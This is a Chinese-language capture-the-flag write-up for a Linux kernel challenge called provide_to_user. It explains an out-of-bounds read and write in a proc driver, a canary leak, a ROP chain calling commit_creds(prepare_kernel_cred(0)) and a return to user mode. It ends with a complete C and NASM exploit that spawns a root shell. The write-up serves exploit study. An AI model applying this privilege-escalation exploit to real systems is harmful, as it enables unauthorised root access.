Kernel Pwn provide_to_user

看别人写的WP发现别人写的exp长度比我写的代码量大了好几倍......

一道kernel rop,逛github时发现的,本来是在练习写驱动,但是偶然看见了。

IDA反编译一下:

截图_2026-10-27_18-27-59.png

属于proc驱动,这类驱动最大的特点就是跟misc设备一样,注册和撤销都只需要一个函数,不像chr设备那样需要分成alloc_chrdev_region(分配字符设备的主次设备号区间),cdev_init(将设备号与f_ops绑定),cdev_add(接入cdev_map)。

(虽然misc设备也属于特殊的chr设备)

截图_2026-10-27_18-32-14.png

截图_2026-10-27_18-32-23.png

代码漏洞其实很浅显,看似它对用户的write长度和read长度做了校验,但仔细看就能发现实际上它是在对proc_data这个vmalloc分配的堆块的最大长度做校验,而不是对栈的字节长度做校验。

利用思路就是先用read,越界读取canary,然后再越界写入rop,执行commit_creds(prepare_kernel_cred(0))完成提权,最后返回用户态触发shell。

kernelrop链的构造不能仅仅是执行完这两个函数就结束,因为内核态在返回用户态时还会恢复最初保存在内核栈上的大量寄存器,通用寄存器虽然无需在意,但是ss,cs,rflags,这几个寄存器是不能瞎填的,同时还得控制好rip,让它返回时就能立即执行shell函数,以及确保rsp在正常的映射区域内。

这就需要借助swapgs_restore_regs_and_return_to_usermode这个原本是正常内核返回用户空间所经历的函数:

截图_2026-10-27_18-43-37.png

它前半段pop出去一大堆原本存在内核栈上的寄存器旧值,为返回做准备;随后,在iret前,它会把ss,cs,rflags,rip,rsp这几个寄存器的旧值转移到内核的安全栈上(为了保证不会在返回时中断触发异常),最后执行iretq,死板地弹出这五个寄存器。

因此,rop的布置如下:

截图_2026-10-27_18-48-29.png

retto是一个跳板函数,因为返回用户态的下一步就是立即call get_shell,而这时是有可能因为call前要求rsp的16字节栈对齐而造成段错误的,所以在call前补上一条and rsp,~0xf汇编来保证16字节对齐。

最后是完整exp,我选择了使用更熟悉的手动链接汇编,而没有使用内联:

#define prepare_kernel_cred 0xffffffff810881d0
#define commit_creds 0xffffffff81087e90 
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00a2f
#define mov_rdi_rax_ret 0xffffffff810f1a78
#define pop_rdi_ret 0xffffffff81001518

#include<unistd.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

extern uint16_t _SS,_CS;
extern uint64_t _RFLAGS,_RSP;
extern void retto();
extern void save();

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    save();
    uint64_t canary;
    uint64_t buf[32];
    uint64_t rop[32];
    uint64_t end;
    memset(rop,0,256);
    uint64_t * posp = buf;
    int fd = open("/proc/shellcode_device",O_RDWR);
    read(fd,buf,256);
    for(int i = 0;i < 32;i++)
    {
        if(i != 4)
        {
            printf("%p\n",*posp);
            posp = posp + 1;
        }
        else
        {
            canary = *posp;
            printf("canary: %p\n",canary);
            posp = posp + 1;
        }
    }
    for(int j = 0;j < 4;j++)
    {
        rop[j] = 0X4141414141414141;
    }
    rop[4] = canary;
    rop[5] = 0x4141414141414141;
    rop[6] = pop_rdi_ret;
    rop[7] = 0;
    rop[8] = prepare_kernel_cred;
    rop[9] = mov_rdi_rax_ret;
    rop[10] = commit_creds;
    end = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[11] = end;
    rop[14] = (uint64_t)&retto;
    rop[15] = _CS;
    rop[16] = _RFLAGS;
    rop[17] = _RSP;
    rop[18] = _SS;
    write(fd,rop,256);
    return 0;
}

nasm的类Intel汇编:

global _SS
global _CS
global _RFLAGS
global _RSP
global retto
global save
extern get_shell

section .data
_SS: dw 0
_CS: dw 0
_RFLAGS: dq 0
_RSP: dq 0

section .text
save:
    mov word [ rel _SS ],ss
    mov word [ rel _CS ],cs
    pushfq
    pop qword [ rel _RFLAGS ]
    mov qword [ rel _RSP ],rsp
    ret
retto:
    xor rbp,rbp
    and rsp,~0xf
    call get_shell

评论